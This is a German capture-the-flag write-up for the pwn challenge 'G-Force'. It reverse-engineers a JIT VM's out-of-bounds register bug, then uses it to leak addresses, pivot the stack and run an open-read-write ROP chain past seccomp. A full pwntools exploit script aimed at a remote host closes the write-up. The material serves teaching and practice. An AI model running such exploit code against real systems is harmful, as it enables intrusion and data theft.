Files
HIP7CTF_Writeups/de/g_force.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

17 KiB

Write-up: G-Force

Kategorie: Pwn Schwierigkeitsgrad: Schwer Beschreibung: Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.

In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.


1. Initiale Analyse

Wir beginnen mit der Untersuchung des bereitgestellten Binaries g_forcevm.

$ file g_forcevm
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped

Es ist eine Static PIE Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem stripped, wir haben also keine Funktionsnamen.

Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:

--- G-FORCE VM v2.0 (Final) ---
4KB Secure Sandbox. Type 'help' for instructions.
> help

--- G-Force Instruction Set ---
General:
  MOVI R, IMM      : Load immediate value into Register R
  MOVR R1, R2      : Copy value from R2 to R1
...
Meta Commands:
  execute          : Compile and run the current program buffer
  info             : Dump current CPU state
  ram OFF LEN      : Hex dump of RAM at offset
  debug            : Run debug logger
...

2. Reverse Engineering

Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.

Die VM-Struktur & das Stack-Layout

Bei der Analyse der main-Funktion (dekompiliert an Adresse 0x0010ba79) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.

undefined8 FUN_0010ba79(void)
{
  // ...
  undefined1 local_20d8 [40];
  undefined8 local_20b0;
  undefined8 local_20a8;
  code *local_20a0;
  undefined1 local_2098 [8192];
  // ...
  
  // Initialisierung
  thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
  
  // RAM-Allokation
  // FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper). 
  // 0x1000 = 4096 Bytes (4KB)
  local_20a8 = FUN_0012ac00(0x1000); 
  
  // Initialisierung des Debug-Funktionszeigers
  local_20a0 = FUN_00109a22; 
  
  // Hauptschleife
  while( true ) {
      // ... Befehls-Parsing ...
      iVar2 = thunk_FUN_0012d150(uVar4,"debug");
      if (iVar2 == 0) {
        // VERWUNDBARER AUFRUF
        (*local_20a0)(local_20a8); 
      }
      else {
        iVar2 = thunk_FUN_0012d150(uVar4,"execute");
        if (iVar2 == 0) {
          FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
          FUN_0010a2b8(local_20d8,local_2098,local_20f8);
          // ...
        }
      }
  }
}

Wir sehen, dass local_20d8 ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP). Wir sehen, dass local_20a0 ein Funktionszeiger ist, der auf 0x00109a22 (den Standard-Logger) initialisiert wird. Betrachten wir das Speicher-Layout auf dem Stack genauer:

  • local_20d8 (Register) beginnt am Offset -0x20d8.
  • local_20a8 (RAM-Zeiger) beginnt am Offset -0x20a8.
  • local_20a0 (Func Ptr) beginnt am Offset -0x20a0.

Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt 0x20d8 - 0x20a8 = 0x30, was 48 Bytes entspricht. Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt 0x20d8 - 0x20a0 = 0x38, was 56 Bytes entspricht.

Bestätigung des Layouts über info

Um zu bestätigen, dass local_20d8 tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den info-Befehl verantwortlich ist (in Ghidra als FUN_00109cbe bezeichnet).

void FUN_00109cbe(undefined8 *param_1)
{
  FUN_0011d2b0("\n--- CPU STATE ---");
  FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
  FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
  FUN_00115f80("SP   : 0x%016lx\n",param_1[5]);
  FUN_0011d2b0("-----------------");
  return;
}

Diese Funktion nimmt einen Zeiger auf local_20d8 als Argument entgegen.

  • param_1[0] entspricht Register A (Offset 0).
  • param_1[1] entspricht Register B (Offset 8).
  • param_1[2] entspricht Register C (Offset 16).
  • param_1[3] entspricht Register D (Offset 24).
  • param_1[5] entspricht SP (Offset 40).

Die Tatsache, dass info diese Werte direkt aus dem Array local_20d8 druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.

Rekonstruktion der CPU-Struktur

Basierend auf dem Speicher-Layout und der info-Funktion können wir die interne CPU-Struktur der VM auf dem Stack rekonstruieren:

struct CPU_Stack_Layout {
    uint64_t regs[4];         // Offset 0x00: Register A, B, C, D
    uint64_t PC;              // Offset 0x20: Program Counter / reserviert
    uint64_t SP;              // Offset 0x28: Stack Pointer (Offset 40)
    uint8_t *ram;             // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
    void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
};

Dies passt perfekt zu unserem rekonstruierten Layout!

Die Schwachstelle: Out-of-Bounds Registerzugriff

Der Befehls-Parser wandelt Registernamen in Indizes um.

  • a -> 0
  • b -> 1
  • c -> 2
  • d -> 3

Jedoch erlaubt die Validierungsfunktion FUN_001099bf Buchstaben bis hin zu h!

int FUN_001099bf(char *param_1)
{
  // ...
      if ((*param_1 < 'a') || ('h' < *param_1)) {
        iVar1 = -1;
      }
      else {
        iVar1 = *param_1 + -0x61;
      }
  // ...
  return iVar1;
}

Wenn wir Register g (Index 6) verwenden: Adresse = local_20d8 + (6 * 8) = local_20d8 + 48 -> Dies greift auf den ram-Zeiger zu.

Wenn wir Register h (Index 7) verwenden: Adresse = local_20d8 + (7 * 8) = local_20d8 + 56 -> Dies greift auf den debug_log-Funktionszeiger zu!

Dies gibt uns zwei mächtige Primitive:

  1. Arbitrary Read (Leak): MOVR a, h liest den Funktionszeiger in das Register a. Wir können ihn uns dann über info ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt MOVR b, g die Heap-Basis.
  2. Control Flow Hijack (Kontrollflussübernahme): MOVI h, <ADDR> ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.

Der "Debug"-Befehl

Der debug-Befehl ruft die Funktion auf, die in local_20a0 (Register h) gespeichert ist. Er übergibt den RAM-Zeiger (Register g) als erstes Argument (rdi).

// Pseudo-Code für den debug-Befehl
if (cmd == "debug") {
    // local_20a0 zeigt standardmäßig auf default_logger
    // Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
    // Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8). 
    (*local_20a0)(local_20a8); 
}

3. Ausnutzungsstrategie: Der Schlachtplan

Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.

Entdeckung der Seccomp-Sandbox

Während der Analyse des Binaries stoßen wir auf eine Funktion FUN_0010b918, die früh in main aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:

void FUN_0010b918(void)
{
  // ...
  iVar1 = FUN_001636b0(0x26,1,0,0,0);
  if (iVar1 != 0) {
    FUN_001161b0("prctl(NO_NEW_PRIVS)");
    FUN_00115450(1);
  }
  iVar1 = FUN_001636b0(0x16,2,local_68);
  if (iVar1 != 0) {
    FUN_001161b0("prctl(SECCOMP)");
    FUN_00115450(1);
  }
  // ...
}

Die Funktion FUN_001636b0 ist ein Wrapper um den prctl-Syscall.

  1. prctl(PR_SET_NO_NEW_PRIVS, 1, ...): Dies wird mit option = 38 (0x26) aufgerufen, was PR_SET_NO_NEW_PRIVS entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch setuid/setgid-Binaries deaktiviert werden.
  2. prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...): Dies wird mit option = 22 (0x16) aufgerufen, was PR_SET_SECCOMP entspricht. Das zweite Argument 2 spezifiziert SECCOMP_MODE_FILTER. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.

Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von system("/bin/sh") oder die Ausführung eines execve-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine Open-Read-Write (ORW) ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.

Schritt 1: Adressen leaken (ASLR umgehen)

Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.

  1. Code-Adresse leaken: Wir kopieren den Funktionszeiger in das Register a (MOVR a, h).
  2. Heap-Adresse leaken: Wir kopieren den RAM-Zeiger in das Register b (MOVR b, g).
  3. Den Leak auslesen: Wir führen diese Befehle aus und verwenden den VM-Befehl info, um Reg A und Reg B auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (0x00109a22) von Reg A abziehen, berechnen wir die Basisadresse des Binaries.

Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren

Wir müssen den syscall aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:

  • RAX = System Call Nummer
  • RDI = Argument 1
  • RSI = Argument 2
  • RDX = Argument 3

Hier ist, wie jeder Befehl in der Kette konstruiert ist:

1. open("./flag.txt", 0)

  • pop rdi; ret -> ADDR_OF_STRING (Zeiger auf "flag.txt\0")
  • pop rsi; ret -> 0 (O_RDONLY)
  • pop rax; ret -> 2 (SYS_open)
  • syscall; ret

2. read(3, buffer, 0x100)

  • pop rdi; ret -> 3 (File Descriptor, normalerweise 3, da 0/1/2 Standard sind)
  • pop rsi; ret -> ADDR_OF_BUFFER (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)
  • pop rdx; ret -> 0x100 (Anzahl zu lesender Bytes)
  • pop rax; ret -> 0 (SYS_read)
  • syscall; ret

3. write(1, buffer, 0x100)

  • pop rdi; ret -> 1 (stdout)
  • pop rsi; ret -> ADDR_OF_BUFFER (Zeiger darauf, wo wir das Flag eingelesen haben)
  • pop rdx; ret -> 0x100 (Anzahl zu schreibender Bytes)
  • pop rax; ret -> 1 (SYS_write)
  • syscall; ret

Im RAM platzieren: Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls SAVER in den VM-RAM (beginnend bei Offset 0).

Schritt 3: Den Pivot finden

Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den RSP (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.

  1. Das Pivot-Gadget finden: Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von ROPgadget auf dem Binary offenbart ein perfektes Gadget: mov rsp, rdi; ret beim Offset 0x000099b8.
  2. Warum dieses Gadget? Wenn der debug-Befehl aufgerufen wird, ist das erste Argument (RDI) ein Zeiger auf den VM-RAM (Register g).
  3. Der Auslöser (Trigger): Wenn wir zu diesem Gadget springen, wird es RDI (den RAM-Zeiger) in RSP kopieren. Das anschließende ret popt dann die ersten 8 Bytes unseres RAMs in den RIP und startet so die ROP-Chain.

Schritt 4: Den Funktionszeiger überschreiben

Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.

  1. Ziel Register H: Das Schreiben in das Register h überschreibt den Funktionszeiger debug_log.
  2. Die Payload: Wir verwenden MOVI h, <ADDR_OF_PIVOT>, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.

Schritt 5: Die Chain auslösen

Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.

  1. Der Trigger-Befehl: Wir tippen execute, um unsere Writer-Befehle zu kompilieren, und führen dann debug aus.
  2. Ausführungsfluss:
    • Die main-Schleife ruft den Funktionszeiger auf, der in Register h steht.
    • Da wir ihn überschrieben haben, springt er zu mov rsp, rdi; ret.
    • RDI enthält den RAM-Zeiger, sodass RSP zum RAM-Zeiger wird.
    • Die CPU führt ret aus und popt das erste Gadget aus unserer ROP-Chain im RAM.
    • Die Kette führt open, read und write aus und gibt das Flag auf unserer Konsole aus!

4. Das Lösungs-Skript

Hier ist das vollständige Skript solve.py. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.

#!/usr/bin/env python3
from pwn import *

# =============================================================================
# KONFIGURATION
# =============================================================================
OFFSET_DEFAULT_LOG = 0x00109a22
HOST = '87.106.77.47'
PORT = 1378

# Kontext setzen (wird noch zum packen/entpacken benötigt)
exe = './g_forcevm'
elf = ELF(exe, checksec=False)
context.binary = elf
context.log_level = 'info'

def start():
    # [ÄNDERUNG] remote() anstelle von process() verwenden
    return remote(HOST, PORT)

p = start()

def send_cmd(cmd):
    p.sendline(cmd.encode())

def wait_prompt():
    return p.recvuntil(b"> ")

log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
wait_prompt()

# -----------------------------------------------------------------------------
# SCHRITT 1: LIVE LEAK
# -----------------------------------------------------------------------------
log.info("SCHRITT 1: Adressen leaken...")
send_cmd("movr a, h")
wait_prompt()
send_cmd("movr b, g")
wait_prompt()
send_cmd("saver a, 0")
wait_prompt()
send_cmd("saver b, 8")
wait_prompt()
send_cmd("execute")
wait_prompt()

# Leaks auslesen
send_cmd("ram 0 16")
p.recvuntil(b"0000: ")
dump_line = p.recvline().decode().strip().split()
wait_prompt()
bytes_all = [int(b, 16) for b in dump_line]

leak_logger = 0
for i in range(8):
    leak_logger += bytes_all[i] << (i*8)

leak_heap = 0
for i in range(8):
    leak_heap += bytes_all[8+i] << (i*8)

binary_base = leak_logger - OFFSET_DEFAULT_LOG
addr_farm   = leak_logger - 0x75 

# Gadgets
addr_pop_rdi = addr_farm + 0
addr_pop_rsi = addr_farm + 2
addr_pop_rdx = addr_farm + 4
addr_pop_rax = addr_farm + 6
addr_syscall = addr_farm + 8
addr_pivot   = addr_farm + 11

log.success(f"    Geleakter Logger: {hex(leak_logger)}")
log.success(f"    Geleakter Heap:   {hex(leak_heap)}")
log.success(f"    Basisadresse:     {hex(binary_base)}")
log.success(f"    Addr Farm:        {hex(addr_farm)}")

# -----------------------------------------------------------------------------
# SCHRITT 2: CHAIN KONSTRUIEREN
# -----------------------------------------------------------------------------
log.info("SCHRITT 2: ROP Chain konstruieren...")

chain = [
    # --- OPEN("./flag.txt", 0, 0) ---
    addr_pop_rdi,
    leak_heap + 0x200, # Zeiger auf "./flag.txt"
    addr_pop_rsi,
    0,
    addr_pop_rdx,
    0,
    addr_pop_rax,
    2,
    addr_syscall,

    # --- READ(3, buffer, 100) ---
    addr_pop_rdi,
    3,
    addr_pop_rsi,
    leak_heap + 0x300, # Zeiger auf Buffer
    addr_pop_rdx,
    100,
    addr_pop_rax,
    0,
    addr_syscall,

    # --- WRITE(1, buffer, 64) ---
    addr_pop_rdi,
    1,
    addr_pop_rsi,
    leak_heap + 0x300,
    addr_pop_rdx,
    35,
    addr_pop_rax,
    1,
    addr_syscall,

    # --- EXIT(0) ---
    addr_pop_rdi,  
    0,             
    addr_pop_rax,  
    60,            
    addr_syscall,
]

# Chain senden
i = 0
while i < len(chain):
    send_cmd(f"movi a,{hex(chain[i])}")
    wait_prompt()
    send_cmd(f"saver a,{hex(i*8)}")
    wait_prompt()
    i = i+1

# String "./flag.txt" bei Offset 0x200 senden
flag_str = b'./flag.txt\0'
for i in range(0, len(flag_str), 8):
    chunk = flag_str[i:i+8].ljust(8, b'\0')
    val = u64(chunk)
    send_cmd(f"movi a, {hex(val)}")
    wait_prompt()
    send_cmd(f"saver a,{0x200 + i}")
    wait_prompt()

# Platzierung der Chain ausführen
send_cmd("execute")
p.recvuntil(b"> ")
send_cmd("ram 0x00 0x30")
p.recvuntil(b"> ")
log.success(f"    ROP Chain platziert")

# -----------------------------------------------------------------------------
# SCHRITT 3: ARM & TRIGGER
# -----------------------------------------------------------------------------
log.info("SCHRITT 3: Scharfschalten...")
send_cmd(f"movi h,{hex(addr_pivot)}")
wait_prompt()
send_cmd(f"execute")
p.recvuntil(b"> ")
log.success(f"    Scharfgeschaltet")

log.info("Wird ausgeführt...")
send_cmd(f"debug")

try:
    # recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
    output = p.recvall(timeout=3) 
    
    print("\n" + "="*50)
    print("FINALE AUSGABE:")
    print(output.decode(errors='ignore'))
    print("="*50)
    
except Exception as e:
    log.error(f"Fehler beim Empfangen des Flags: {e}")

p.close()